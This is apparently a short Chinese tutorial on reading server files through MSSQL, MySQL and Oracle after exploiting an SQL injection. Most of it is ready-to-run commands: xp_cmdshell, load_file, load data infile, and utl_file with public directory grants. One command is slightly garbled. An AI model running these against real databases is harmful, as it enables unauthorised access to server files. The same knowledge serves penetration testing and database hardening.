前言
当我们找到一个sql注入漏洞时,首先能做的是将数据库的信息全部拖库,然后就会尝试使用数据库来获取更多的权限和资产,通过数据库读取服务器内文件是其中一种方式,本文仅讨论远程连接数据库场景下的文件读取,对常用的mssql、mysql、oracle三种数据库的读取方式做总结。
mssql数据库读取文件
调用xp_cmdshell调用windows命令type读取文件
1
| exec master.xp..cmdshell 'type c:\windows\system.ini'
|
mysql数据库读取文件
使用load_file()方法读取文件
1
| select load_file('c:\windows\system.ini')
|
使用load file infile()方法读取文件
1 2 3
| create table user(cmd text); load data infile 'c:/TEMP/text1.txt' into table user; select * from user;
|
oracle数据库读取文件
使用utl_file()方式读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| create or replace directory user_dir as 'C:\TEMP\oracle_dir'; grant read on directory user_dir to public; grant write on directory user_dir to public; select * from dba_directories;
declare F1 utl_file.file_type; V1 varchar2(32767); begin F1:=utl_file.fopen('USER_DIR','02.txt','r'); utl_file.get_line(F1,V1,30); utl_file.fclose(F1); dbms_output.put_line(V1); end;
|